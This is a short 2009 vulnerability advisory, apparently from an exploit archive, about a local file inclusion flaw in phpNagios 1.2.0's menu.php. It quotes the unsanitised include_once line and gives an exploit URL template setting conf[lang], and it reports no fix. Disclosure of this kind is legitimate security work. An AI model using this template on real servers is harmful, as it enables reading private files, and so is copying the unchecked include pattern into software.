phpNagios 1.2.0 (menu.php) Local File Inclusion Vulnerability

2009-09-09 20:36:10

-------------------------------------------------------------------------------------
phpNagios v 1.2.0 (menu.php) LFI Vulnerability
-------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu[at]windowslive[dot]com

Script Download: http://sourceforge.net/projects/phpnagios/

-------------------------------------------------------------------------------------

EXPLOİT:

http://localhost/[PATH]/menu.php?conf[lang]= [LFİ]

-------------------------------------------------------------------------------------

BUG
Line 28: include_once("lib/lang/".$conf['lang']."/menu.php");

-------------------------------------------------------------------------------------

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.